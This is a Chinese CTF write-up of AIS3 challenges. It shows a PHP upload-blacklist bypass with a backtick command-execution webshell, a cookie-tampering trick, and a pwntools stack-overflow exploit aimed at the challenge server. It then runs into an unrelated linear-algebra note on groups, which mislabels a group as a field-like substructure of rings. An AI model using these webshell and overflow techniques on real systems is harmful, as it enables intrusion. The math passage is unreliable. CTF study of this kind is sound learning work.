253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
/*___wenyan_module_恆常_start___*/
var 恆常 = new function() {
    var 大 = this.大 = "輸入「助」以獲得更多幫助";
    var 笆 = this.笆 = "/+9876543210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA";
    var 斯 = this.斯 = "k5aRmv==";
    var 啟 = this.啟 = "5KTMx8XKxf==";
    var 魠 = this.魠 = "kv==";
    var 歷 = this.歷 = "5KSS";
    var 託 = this.託 = "幫助幫助幫助幫助幫助幫助";
    var 師 = this.師 = "先帝創業未半而中道崩殂今天下三分益州疲弊此誠危急存亡之秋也然侍衛之臣不懈於內忠誌之士忘身於外者蓋追先帝之殊遇欲報之於陛下也誠宜開張聖聽以光先帝遺德恢弘誌士之氣不宜妄自菲薄引喻失義以塞忠諫之路也宮中府中俱為一體陟罰臧否不宜異同若有作奸犯科及為忠善者宜付有司論其刑賞以昭陛下平明之理不宜偏私使內外異法也侍中侍郎郭攸之費禕董允等此皆良實誌慮忠純是以先帝簡拔以遺陛下愚以為宮中之事事無大小悉以谘之然後施行必能裨補闕漏有所廣益將軍嚮寵性行淑均曉暢軍事試用於昔日先帝稱之曰能是以衆議舉寵為督愚以為營中之事悉以谘之必能使行陣和睦優劣得所親賢臣遠小人此先漢所以興隆也親小人遠賢臣此後漢所以傾頹也先帝在時每與臣論此事未嘗不歎息痛恨於桓靈也侍中尚書長史參軍此悉貞良死節之臣願陛下親之信之則漢室之隆可計日而待也臣本佈衣躬耕於南陽苟全性命於亂世不求聞達於諸侯先帝不以臣卑鄙猥自枉屈三顧臣於草廬之中谘臣以當世之事由是感激遂許先帝以驅馳後值傾覆受任於敗軍之際奉命於危難之間爾來二十有一年矣先帝知臣謹慎故臨崩寄臣以大事也受命以來夙夜憂歎恐托付不效以傷先帝之明故五月渡瀘深入不毛今南方巳定兵甲已足當獎率三軍北碇中原庶竭駑鈍攘除奸兇興複漢室還于舊都此臣所以報先帝而忠陛下之職分也至於斟酌損益進盡忠言則攸之禕允之任也願陛下托臣以討賊興複之效不效則治臣之罪以告先帝之靈若無興德之言則責攸之禕允等之慢以彰其咎陛下亦宜自謀以谘諏善道察納雅言深追先帝遺詔臣不勝受恩感激今當遠離臨錶涕零不知所言";
    var 秘旗 = this.秘旗 = "\x1b[38:5:181m獎\x1b[38:5:202m當\x1b[38:5:177m之\x1b[38:5:210m兇\x1b[38:5:191m深\x1b[38:5:170m定\x1b[38:5:189m忠\x1b[38:5:197m忠\x1b[38:5:192m複\x1b[38:5:226m除\x1b[38:5:177m率\x1b[38:5:226m月\x1b[38:5:191m月\x1b[38:5:170m都\x1b[38:5:177m三\x1b[38:5:178m還\x1b[38:5:177m三\x1b[38:5:209m先\x1b[38:5:188m而\x1b[38:5:197m忠\x1b[38:5:192m兇\x1b[38:5:198m故\x1b[38:5:192m複\x1b[38:5:226m巳\x1b[38:5:177m三\x1b[38:5:222m定\x1b[38:5:189m率\x1b[38:5:225m陛\x1b[38:5:194m軍\x1b[38:5:166m除\x1b[38:5:178m軍\x1b[38:5:186m忠\x1b[38:5:181m率\x1b[38:5:226m所\x1b[38:5:177m瀘\x1b[38:5:226m獎\x1b[38:5:181m獎\x1b[38:5:218m除\x1b[38:5:179m當\x1b[38:5:166m鈍\x1b[38:5:178m三\x1b[38:5:170m斟"; /*已': 2,'定': 2 */
}; /*___wenyan_module_恆常_end___*/ /*___wenyan_module_鑿字秘術_start___*/
var 鑿字秘術 = new function() {
    var 正閱 = this.正閱 = "data";
    var 已閱 = this.已閱 = "end";
    var 始碼 = this.始碼 = _ => {};
    始碼 = this.始碼 = 字 => {
        const _ans1 = String.fromCharCode(字);
        return _ans1;
    };
    var 字址 = this.字址 = _ => {};
    字址 = this.字址 = 字 => 址 => {
        const _ans2 = ((target) => ((idx) => target.charCodeAt(idx)))(字)(址);
        return _ans2;
    };
    var 始於 = this.始於 = _ => {};
    始於 = this.始於 = 字 => 符 => {
        const _ans3 = ((target) => ((label) => target.startsWith(label)))(字)(符);
        return _ans3;
    };
    var 字子 = this.字子 = _ => {};
    字子 = this.字子 = 字 => 址 => {
        const _ans4 = ((target) => ((idx) => target.substring(idx)))(字)(址);
        return _ans4;
    };
    var 子字 = this.子字 = _ => {};
    子字 = this.子字 = 字 => 始 => 末 => {
        const _ans5 = ((target) => ((s) => ((e) => target.substring(s, e))))(字)(始)(末);
        return _ans5;
    };
}; /*___wenyan_module_鑿字秘術_end___*/ /*___wenyan_module_交互秘術_start___*/
var 交互秘術 = new function() {
    var 正閱 = this.正閱 = "data";
    var 已閱 = this.已閱 = "end";
    const _ans1 = require("readline").createInterface(process.stdin, process.stdout);
    var 讀行 = _ans1;
    var 化言 = this.化言 = _ => {};
    化言 = this.化言 = 甲 => {
        const _ans2 = 甲.toString();
        return _ans2;
    };
    var 發生 = this.發生 = _ => {};
    發生 = this.發生 = 事 => {
        const _ans3 = ((event) => process.stdin.emit(event))(事);
    };
    var 監聽 = this.監聽 = _ => {};
    監聽 = this.監聽 = 事件 => 響應 => {
        const _ans4 = ((event) => ((func) => process.stdin.on(event, func)))(事件)(響應);
    };
    var 聽寫 = this.聽寫 = _ => {};
    聽寫 = this.聽寫 = 事件 => 響應 => {
        const _ans5 = ((event) => ((func) => 讀行.on(event, func)))(事件)(響應);
    };
    var 閱止 = this.閱止 = _ => {};
    閱止 = this.閱止 = () => {
        const _ans6 = (() => process.stdin.end())();
    };
    var 輸出 = this.輸出 = _ => {};
    輸出 = this.輸出 = 文 => {
        const _ans7 = ((s) => process.stdout.write(s))(文);
    };
}; /*___wenyan_module_交互秘術_end___*/
var 輸出 = 交互秘術.輸出;
var 聽寫 = 交互秘術.聽寫;
var 始碼 = 鑿字秘術.始碼;
var 字址 = 鑿字秘術.字址;
var 子字 = 鑿字秘術.子字;
var 始於 = 鑿字秘術.始於;
var 字子 = 鑿字秘術.字子;
var 啟 = 恆常.啟;
var 歷 = 恆常.歷;
var 託 = 恆常.託;
var 師 = 恆常.師;
var 大 = 恆常.大;
var 笆 = 恆常.笆;
var 斯 = 恆常.斯;
var 魠 = 恆常.魠;
var 秘旗 = 恆常.秘旗;
var 獲取 = _ => {};
獲取 = 對象 => 域 => {
    return 對象[域];
}; /*"============"*/
var 營 = _ => {};
營 = 日 => 鑫 => {
    const _ans1 = 日 % 鑫;
    const _ans2 = 日 - _ans1;
    var 戌卯 = _ans2;
    const _ans3 = 戌卯 / 鑫;
    var 庚巳 = _ans3;
    return 庚巳;
};
var 削 = _ => {};
削 = 日 => 鑫 => {
    var 命 = 0;
    var 恩 = 1;
    while (true) {
        var 戊乙 = false;
        if (日 > 0) {
            戊乙 = true;
        };
        var 午酉 = false;
        if (鑫 > 0) {
            午酉 = true;
        };
        const _ans4 = 戊乙 && 午酉;
        var 酉癸 = _ans4;
        if (酉癸 == 0) {
            break;
        };
        const _ans5 = 日 % 2;
        var 辛甲 = _ans5;
        var 甲二 = false;
        if (辛甲 == 1) {
            甲二 = true;
        };
        const _ans6 = 鑫 % 2;
        var 二辛 = _ans6;
        var 午庚 = false;
        if (二辛 == 1) {
            午庚 = true;
        };
        const _ans7 = 甲二 && 午庚;
        var 巳己 = _ans7;
        if (巳己) {
            const _ans8 = 命 + 恩;
            命 = _ans8;
        };
        const _ans9 = 營(日)(2);
        日 = _ans9;
        const _ans10 = 營(鑫)(2);
        鑫 = _ans10;
        const _ans11 = 恩 * 2;
        恩 = _ans11;
    };
    return 命;
};
var 斐 = _ => {};
斐 = 竺 => {
    var 呼 = 0;
    while (true) {
        const _ans12 = 笆.length;
        var 巳酉 = false;
        if (呼 < _ans12) {
            巳酉 = true;
        };
        if (巳酉 == 0) {
            break;
        };
        const _ans13 = 獲取(笆)(呼);
        var 乙丁 = _ans13;
        if (乙丁 == 竺) {
            return 呼;
        };
        const _ans14 = 呼 + 1;
        呼 = _ans14;
    };
    return 0;
};
var 天 = _ => {};
天 = 食 => {
    var 返 = [];
    var 呼 = 0;
    while (true) {
        const _ans15 = 食.length;
        var 寅二 = false;
        if (呼 < _ans15) {
            寅二 = true;
        };
        if (寅二 == 0) {
            break;
        };
        var 表 = [];
        const _ans16 = 獲取(食)(呼);
        var 辰丁 = _ans16;
        const _ans17 = 斐(辰丁);
        var 丙戊 = _ans17;
        const _ans18 = 呼 + 1;
        var 丙甲 = _ans18;
        const _ans19 = 獲取(食)(丙甲);
        var 丁 申 = _ans19;
        const _ans20 = 斐(丁申);
        var 午申 = _ans20;
        const _ans21 = 呼 + 2;
        var 乙庚 = _ans21;
        const _ans22 = 獲取(食)(乙庚);
        var 地戌 = _ans22;
        const _ans23 = 斐(地戌);
        var 丁亥 = _ans23;
        const _ans24 = 呼 + 3;
        var 二卯 = _ans24;
        const _ans25 = 獲取(食)(二卯);
        var 寅酉 = _ans25;
        const _ans26 = 斐(寅酉);
        var 支丙 = _ans26;
        表.push(丙戊, 午申, 丁亥, 支丙);
        const _ans27 = 表[1 - 1];
        var 己辛 = _ans27;
        const _ans28 = 己辛 * 4;
        var 酉支 = _ans28;
        const _ans29 = 表[2 - 1];
        var 乙酉 = _ans29;
        const _ans30 = 營(乙酉)(16);
        const _ans31 = 酉支 + _ans30;
        var 丁壬 = _ans31;
        返.push(丁壬);
        const _ans32 = 表[2 - 1];
        var 子甲 = _ans32;
        const _ans33 = 削(子甲)(15);
        var 丁巳 = _ans33;
        const _ans34 = 丁巳 * 16;
        var 壬己 = _ans34;
        const _ans35 = 表[3 - 1];
        var 辛辛 = _ans35;
        const _ans36 = 營(辛辛)(4);
        const _ans37 = 壬己 + _ans36;
        var 支己 = _ans37;
        返.push(支己);
        const _ans38 = 表[3 - 1];
        var 亥巳 = _ans38;
        const _ans39 = 削(亥巳)(3);
        var 地丙 = _ans39;
        const _ans40 = 地丙 * 64;
        var 申 戌 = _ans40;
        const _ans41 = 表[4 - 1];
        var 乙卯 = _ans41;
        const _ans42 = 削(乙卯)(63);
        const _ans43 = 申戌 + _ans42;
        var 壬寅 = _ans43;
        返.push(壬寅);
        const _ans44 = 呼 + 4;
        呼 = _ans44;
    };
    var 遣 = "";
    var 呼 = 0;
    while (true) {
        const _ans45 = 返.length;
        var 辛未 = false;
        if (呼 < _ans45) {
            辛未 = true;
        };
        if (辛未 == 0) {
            break;
        };
        const _ans46 = 獲取(返)(呼);
        var 戊丙 = _ans46;
        if (戊丙 == 0) {
            break;
        };
        const _ans47 = 始碼(戊丙);
        const _ans48 = 遣 + _ans47;
        遣 = _ans48;
        const _ans49 = 呼 + 1;
        呼 = _ans49;
    };
    return 遣;
};
const _ans50 = 子字(師)(463)(527);
var 桐 = _ans50;
const _ans51 = 天(斯);
var 系 = _ans51;
const _ans52 = 天(啟);
var 啟 = _ans52;
var 涅 = "> ";
var 禱 = _ => {};
禱 = 食 => {
    const _ans53 = 食.length;
    var 連 = _ans53;
    const _ans54 = !連;
    var 未丑 = _ans54;
    if (未丑) {
        return "";
    };
    var 紀元 = "";
    var 呼 = 0;
    while (true) {
        var 申壬 = false;
        if (呼 < 連) {
            申壬 = true;
        };
        if (申壬 == 0) {
            break;
        };
        const _ans55 = 字址(食)(呼);
        日 = _ans55;
        var 鑫 = 0;
        var 谷 = 0;
        const _ans56 = 連 - 呼;
        var 己酉 = _ans56;
        if (己酉 >= 2) {
            const _ans57 = 呼 + 1;
            var 支辛 = _ans57;
            const _ans58 = 字址(食)(支辛);
            鑫 = _ans58;
        };
        const _ans59 = 連 - 呼;
        var 地巳 = _ans59;
        if (地巳 > 2) {
            const _ans60 = 呼 + 2;
            var 乙乙 = _ans60;
            const _ans61 = 字址(食)(乙乙);
            谷 = _ans61;
        };
        const _ans62 = 營(日)(4);
        var 丙癸 = _ans62;
        const _ans63 = 削(日)(3);
        var 亥十 = _ans63;
        const _ans64 = 亥十 * 16;
        var 乙己 = _ans64;
        const _ans65 = 營(鑫)(16);
        const _ans66 = 乙己 + _ans65;
        var 卯戌 = _ans66;
        const _ans67 = 型(丙癸)(卯戌);
        const _ans68 = 紀元 + _ans67;
        紀元 = _ans68;
        const _ans69 = 削(鑫)(15);
        var 戌戌 = _ans69;
        const _ans70 = 戌戌 * 4;
        var 乙己七 = _ans70;
        const _ans71 = 營(谷)(64);
        const _ans72 = 乙己七 + _ans71;
        var 戌巳 = _ans72;
        const _ans73 = 削(谷)(63);
        var 丁午 = _ans73;
        const _ans74 = 型(戌巳)(丁午);
        const _ans75 = 紀元 + _ans74;
        紀元 = _ans75;
        const _ans76 = 呼 + 3;
        呼 = _ans76;
    };
    const _ans77 = 連 % 3;
    var 辰申 = _ans77;
    if (辰申 == 1) {
        const _ans78 = 紀元 + "等於";
        紀元 = _ans78;
    };
    return 紀元;
};
const _ans79 = 天(歷);
var 歷 = _ans79;
const _ans80 = 天(魠);
var 魠 = _ans80;
var 型 = _ => {};
型 = 和 => 宇 => {
    const _ans81 = 165 + 和;
    const _ans82 = 啟 + _ans81;
    var 巳支 = _ans82;
    const _ans83 = 巳支 + 魠;
    var 申午 = _ans83;
    const _ans84 = 獲取(桐)(宇);
    const _ans85 = 申午 + _ans84;
    var 二酉 = _ans85;
    return 二酉;
};
var 希依 = _ => {};
希依 = 祈 => {
    const _ans86 = 禱(祈);
    命 = _ans86;
    var _ans87 = "結果";
    var _ans88 = 命;
    var _ans89 = 歷;
    console.log(_ans87, _ans88, _ans89);
    if (命 == 秘旗) {
        var _ans90 = "正解";
        console.log(_ans90);
    };
};
var 玲瓏 = _ => {};
玲瓏 = () => {
    var _ans91 = 託;
    console.log(_ans91);
};
var 殼 = _ => {};
殼 = 入 => {
    const _ans92 = 始於(入)("蛵煿 ");
    var 丁辰 = _ans92;
    if (丁辰) {
        const _ans93 = 字子(入)(3);
        var 地辛 = _ans93;
        const _ans94 = 希依(地辛);
    } else {
        if (入 == "助") {
            const _ans95 = 玲瓏();
        } else {
            const _ans96 = "指令「" + 入;
            var 丙丁 = _ans96;
            const _ans97 = 丙丁 + "」不存在\n";
            var 辛午 = _ans97;
            const _ans98 = 輸出(辛午);
        };
    };
    const _ans99 = 輸出(涅);
};
var 殼始 = _ => {};
殼始 = () => {
    var _ans100 = 大;
    console.log(_ans100);
    const _ans101 = 輸出(涅);
};
const _ans102 = 殼始();
const _ans103 = 聽寫(系)(殼);
觀察 compile 後的 code 內容，稍微解析各個 function 的內容:
恆常為定義 const variable，可以看到秘旗就是加密過後的 flag，其餘先保留。
鑿字秘術與交互秘術都是一些內建函式的改寫，可以直接略過。
剩下是自定義函式，一樣可以略過。
這時候從尾部找尋秘旗，往前對照發現其是對應禱(祈)這個函式，這時候對這個單一函數進行解析整理:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
var 禱=_=>{};禱=食=>{
if (!食.length){return "";};
var 紀元="";var 呼=0;
while(true){var 申壬=false;if (呼<連){申壬=true;};if (申壬==0){break;};
日=字址(食)(呼);
var 鑫=0;
var 谷=0;
if (連-呼>=2){鑫=字址(食)(呼+1);};
if (連-呼>2){谷=字址(食)(呼+2);};
紀元=紀元+型(營(日)(4))(削(日)(3)*16+營(鑫)(16));
紀元=紀元+型(削(鑫)(15)*4+營(谷)(64))(削(谷)(63));
呼=呼+3;}
if (連%3==1){紀元=紀元+"等於";};
return 紀元;}
在編輯器Ctrl+F搜尋發現食沒有被定義僅被呼叫，推測食就是 flag，而日、鑫、谷則為三個一組的 flag 呼叫。
先來分析營和削函式:
營相對簡單，營(a)(b)=(a//b)
削的部分，
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var 削=_=>{};
削=日=>鑫=>{
var 命=0;var 恩=1;
while(true){
var 戊乙=false;
if (日>0){戊乙=true;};
var 午酉=false;
if (鑫>0){午酉=true;};
if (戊乙&&午酉==0){break;};
var 甲二=false;
if (日%2==1){甲二=true;};
var 午庚=false;
if (鑫%2==1){午庚=true;};
if (甲二&&午庚){命=命+恩;};
日=營(日)(2);鑫=營(鑫)(2);恩=恩*2;}
return 命;}
可得削(a)(b)=(a>0&&b>0)?(a&b):0
再來看型
1
2
var 型=_=>{};
型=和=>宇=>{return啟+(165+和)+魠+獲取(桐)(宇);}
上面可知和及宇為禱內部呼叫之參數，皆為數字，啟、魠為外部傳入，不影響禱所求日、鑫、谷內容
而桐=子字(師)(463)(527)(從前面的交互秘術可知是 substring 的意思)，可得桐='明故五月渡瀘深入不毛今南方巳定兵甲已足當獎率三軍北碇中原庶竭駑鈍攘除奸兇興複漢室還于舊都此臣所以報先帝而忠陛下之職分也至於斟酌損'
故秘旗重複單位\x1b[38:5:181m獎即為單一型所生，(165+和)為數字，獲取(桐)(宇)為字串中字元
所以啟=\x1b[38:5:，魠=m，無須逆向。
寫 code 爆搜出日、鑫、谷對應秘旗內容即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ff=["181m獎","202m當","177m之","210m兇","191m深","170m定","189m忠","197m忠","192m複","226m除","177m率","226m月","191m月","170m都","177m三","178m還","177m三","209m先","188m而","197m忠","192m兇","198m故","192m複","226m巳","177m三","222m定","189m率","225m陛","194m軍","166m除","178m軍","186m忠","181m率","226m所","177m瀘","226m獎","181m獎","218m除","179m當","166m鈍","178m三","170m斟"]
ss='明故五月渡瀘深入不毛今南方巳定兵甲已足當獎率三軍北碇中原庶竭駑鈍攘除奸兇興複漢室還于舊都此臣所以報先帝而忠陛下之職分也至於斟酌損'

m=[]
n=[]

for i in ff:
    i=i.split("m")
    m.append(int(i[0])-165)
    n.append(i[1])

print(m)
print(n)

for i in range(50):
    for a in range(40,130):
        for b in range(40,130):
            for c in range(40,130):
                if(a//4==m[i] and ss[16*(a&3)+b//16]==n[i] and 4*(b&15)+c//64==m[i+1] and ss[c&63]==n[i+1]):
                    print(chr(a)+chr(b)+chr(c),end='')
FLAG:AIS3{chaNcH4n_a1_Ch1k1ch1k1_84n8An_M1nNa_5upa5utA_n0_TAMa90_5a}
Web
Simple File Uploader [100] [easy]

一個簡單檔案上傳者。
Author: wii
route: http://chals1.ais3.org:8988(vpn required)
這題是一個上傳檔案的網站，打開 source code 可以發現它鎖了很多 php 的格式，明顯是要讓我們上傳可上傳可執行的 php 檔，其中因為它使用黑名單的方式，稍微查一下可以發現副檔名大小寫差異便可繞過，建立aa.Php即可上傳 php(用echo 1;測試可否執行)
1
 echo 1; ?>
接著需要繞過 system function，source code 中可以發現他把幾乎所有的 system 執行指令都鎖起來了，但 php 有一個特殊的方式可以繞過執行，以``包起的字串會被當成指令嘗試執行，因此可以構造出指令嘗試執行。
1
2
3
4

$waku=`cd ../../../../../../;ls;`;
echo "$waku
";
?>
可以看到一個rUn_M3_t0_9et_fL4g檔案，執行它即可得到 flag。
1
2
3
4
5

$waku=`cd ../../../../../../;ls;./rUn_M3_t0_9et_fL4g`;
echo "$waku
";
?>
//AIS3{H3yyyyyyyy_U_g0t_mi٩(ˊᗜˋ*)و}
FLAG:AIS3{H3yyyyyyyy_U_g0t_mi٩(ˊᗜˋ*)و}
Poking Bear [100] [baby]

Poke the SECRET BEAR!
Author: wii
route: http://chals1.ais3.org:8987(vpn required)
打開網頁可以發現一個可以戳熊熊(?)的介面，點進去可以發現除了SECRET BEAR之外其他的熊都有一個特殊的號碼掛在http://chals1.ais3.org:8987/bear/{id}之中，所以我們的目標十分明確:找到 SECRET BEAR 的 id!
其他 bear 的 id 都在首頁的 html 裡，所以只要寫段 python 來爆搜沒有在裡面的 id 即可。
1
2
3
4
5
6
7
8
9
10
import requests

url = "http://chals1.ais3.org:8987/bear/"

for i in range(1000):
    res = requests.get(url + str(i))
    if "This is not even a bear." not in res.text:
        print(i)

# 5 29 82 327 350 499 777 ...
可以發現 499 沒有在裡面，訪問 http://chals1.ais3.org:8987/bear/499 可以有一個戳SECRET BEAR的頁面，但戳下去它會說你不是bear poker，這時候直覺看看 cookie 有一個human類別，把後面的值改成bear poker再戳它就可以拿到 flag。
FLAG:AIS3{y0u_P0l<3_7h3_Bear_H@rdLy><}
Pwn
SAAS - Crash [40] [C++][heap][easy]
This challenge is not about Software as a Service, but String as a Service.
You only need to crash the program at remote to get this flag, no need to actually write exploit for it
Author: maple3142
file: https://drive.google.com/file/d/18YJGrtqcZIr5cNufSWAQnWnegHM5ww87/view?usp=sharing
這題給了 source code package 跟 netcat 網址，先看看 source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#include 
#include 
#include 
#include 

class String {
   public:
char *str;
size_t len;

String(const char *s) {
len = strlen(s);
str = new char[len + 1];
strcpy(str, s);
}
~String() { delete[] str; }
};

const int MAX_STRS = 16;
char tmp[4096];
String *strs[MAX_STRS] = {};

int readidx() {
char c;
int idx;
printf("Index: ");
scanf("%d%c", &idx, &c);
if (idx < 0 || idx >= MAX_STRS) {
printf("Bad index\n");
exit(0);
}
return idx;
}

void print(String s) {
printf("Length: %zu\n", s.len);
printf("Content: ");
write(1, s.str, s.len);
printf("\n");
}

void menu() {
printf("===== S(tring)AAS =====\n");
printf("1. Create string\n");
printf("2. Edit string\n");
printf("3. Print string\n");
printf("4. Delete string\n");
}

int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
while (true) {
int choice, idx;
char c;
menu();
printf("> ");
scanf("%d", &choice);
switch (choice) {
case 1:
idx = readidx();
printf("Content: ");
scanf("%4095[^\n]", tmp);
scanf("%c", &c);
strs[idx] = new String(tmp);
break;
case 2:
idx = readidx();
printf("New Content: ");
if (strs[idx] != nullptr) {
scanf("%4095[^\n]", tmp);
scanf("%c", &c);
memcpy(strs[idx]->str, tmp, strs[idx]->len);
strs[idx]->str[strs[idx]->len] = 0;
} else {
printf("String #%d doesn't exist!\n", idx);
}
break;
case 3:
idx = readidx();
if (strs[idx] != nullptr) {
print(*strs[idx]);
} else {
printf("String #%d doesn't exist!\n", idx);
}
break;
case 4:
idx = readidx();
if (strs[idx] != nullptr) {
delete strs[idx];
strs[idx] = nullptr;
} else {
printf("String #%d doesn't exist!\n", idx);
}
break;
default:
puts("Bad option");
exit(0);
}
}
return 0;
}
可以發現它的輸入限制 4095 位，那輸入 4096 位是否能讓程式 crash 呢?
構造一個長於 4096 位的字串輸入Create String，接著將它輸出，第一次輸出沒有噴 Error，再次輸出後便 Crash 了，得到 flag。
FLAG:AIS3{congrats_on_crashing_my_editor!_but_can_you_get_shell_from_it?}
很抱歉，窩迷有拿到 shell TAT
BOF2WIN [100] [baby]
Exploit the bof !!
nc chals1.ais3.org 12347
Author: 🎃
file: https://drive.google.com/file/d/1MajFqDwi4SDtCCb-bthHUG9Y5voMv4tN/view?usp=sharing
這題是非常經典的 buffer overflow 題，先來看看 source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include 
#include 
#include 
#include 
#include 

void get_the_flag()
{
    char buf[0x30] = {0};
    int fd = open("/home/bof2win/flag", O_RDONLY);
    read(fd, buf, 0x30);
    write(1, buf, 0x30);
    close(fd);
}

int main()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    char buf[0x10];

    puts("What's your name?");
    gets(buf);

    printf("Hello, %s!\n", buf);
    return 0;
}
可以發現gets(buf)的使用部分有漏洞，無法限制是使用者的輸入，所以我們只要蓋掉 buffer 並把 return address 改成get_the_flag的 function address 即可。
先用checksec確定一下開啟的保護機制:
1
2
3
4
5
6
7
> checksec bof2win
[*] 'C:\\Users\\Administrator\\Downloads\\bof2win'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
PIE 沒開，表示 function address 不會被 randomize，可以直接使用 function fixed address
用 gdb 觀察get_the_flag的 function address
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
> gdb bof2win
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...

pwndbg: loaded 193 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from bof2win...(no debugging symbols found)...done.
pwndbg>
pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x00000000004010b0  puts@plt
0x00000000004010c0  write@plt
0x00000000004010d0  printf@plt
0x00000000004010e0  close@plt
0x00000000004010f0  read@plt
0x0000000000401100  gets@plt
0x0000000000401110  setvbuf@plt
0x0000000000401120  open@plt
0x0000000000401130  _start
0x0000000000401160  _dl_relocate_static_pie
0x0000000000401170  deregister_tm_clones
0x00000000004011a0  register_tm_clones
0x00000000004011e0  __do_global_dtors_aux
0x0000000000401210  frame_dummy
0x0000000000401216  get_the_flag
0x00000000004012a4  main
0x0000000000401330  __libc_csu_init
0x00000000004013a0  __libc_csu_fini
0x00000000004013a8  _fini
可以得到 function address 0x401216
再用 gdb 觀察 buf 跟 ret 的 address
buf address:0x7fffffffdee0
ret address:0x7fffffffdef8
所以要蓋掉0x7fffffffdef8-0x7fffffffdee0=24個字元
寫個 exploit 即可拿到 flag。
1
2
3
4
5
6
7
8
9
from pwn import *

r=remote('chals1.ais3.org',12347)

r.recvline()
r.sendline(b'A'*(24)+p64(0x401216))

r.interactive()
#AIS3{Re@1_B0F_m4st3r!!}
FLAG:AIS3{Re@1_B0F_m4st3r!!}


Linear Algebra III-Group
2022-02-01T10:02:45.000Z
今天是虎年的大年初一!祝大家虎年行大運 🐯!但不免俗地還是要來發一篇線性代數的筆記囉~這篇筆記會延續上一篇筆記的代數結構開始進行介紹，首先介紹的是體(Group)這個結構，這個結構是環(Ring)底下的一個子結構(P.S.上一篇有介紹唷!)，一起來看看要如何操作它吧!
本篇筆記由我與國立嘉義高中數資班黃佑得共同持有!
$(S,*)\implies$群
(1) 封 $\implies$ 群
(2) 結 $\implies$ 半群
(3) 單 $\implies$ 么半群
(4) 反 $\implies$ 群
(5) 交 $\implies$ 交換群
考慮$(G,*)$$($如$(\mathbb{Z},+))$
(i)封閉性: $a*b\in G, \forall a,b\in G$，最重要的性質。
(ii)結合律: $(a*b)*c=a*(b*c),\forall a,b,c \in G$
—semi group $\uparrow$—
(iii)單位元素:$\exists !e\in G s.t. e*a=a*e=a, \forall a\in G$
—monoid $\uparrow$—
(iv) 反元素: $\exists !a^{-1}\in G$ $s.t.$ $a^{-1}*a=a*a^{-1}=1,\forall a \in G$
—group $\uparrow$—
(v)交換律: $a*b=b*a, \forall a,b \in G$
—abelian group $\uparrow$—
Practical Drill
e.g. 判斷下列是否屬於群(Group)
(1) $(\mathbb{N},+)\implies \times$ (2) $(\mathbb{Z},+)\implies \circ$
(3) $(\mathbb{Z},-)\implies \times$ (4) $(\mathbb{Z},\cdot) \implies \times$
(5) $(\mathbb{Q},+)\implies \circ$ (6) $(\mathbb{Q},\cdot)\implies \times$
(7) $(\mathbb{Q}$ \ ${0},\cdot) \implies \circ$ (8) $(\mathbb{Q}^c,+)\implies \times$
(9) $(\mathbb{Q}^c,\cdot)\implies \times$ (10) $(\mathbb{R}^2,+)\implies \circ$
(11) $(\mathbb{R}^2,\cdot) \implies \times$ (12) $(\mathbb{R}^3,\times)\implies \times$
(13) $(M_2(\mathbb{R}),+)\implies \circ$ ($M:$Matrix，方陣) (14) $(M_2(\mathbb{R}),\cdot)\implies \times$
(15) 令$GL_2(\mathbb{R})=${$A\in M_2(R)|det(A)\neq 0$}$\implies(GL_2(R),\cdot)\implies \circ$ (不可交換，無限群)
($GL:$可逆矩陣(General Linear Group，一般線性群))
(16) $R=2$階旋轉矩陣$\Rightarrow (R,\cdot)\implies \circ$
(17) 定義 $P_2(\mathbb{R})=${$a_2x^2+a_1x+a_0 | a_i \in \mathbb{R}, \forall i=0,1,2$}$\implies \circ$
(18) 定義$S_n=${$f:${$1\sim n$}$\to ${$1\sim n$}$|f$ $is$ $1-1,onto$}$\implies (S_n,\circ)\implies \circ$ (不可交換，有限群)(可證明五次方程式無公式解，A5)
e.g.
$S_2=${$\left(\begin{matrix}1 & 2 \\1 & 2 \\\end{matrix}\right)=e,\left(\begin{matrix}2 & 1 \\1 & 2 \\\end{matrix}\right)=\left(\begin{matrix}1 & 2\end{matrix}\right)$}
$(f_2 \cdot f_2)(1)=1$、$(f_2 \cdot f_2)(2)=2$
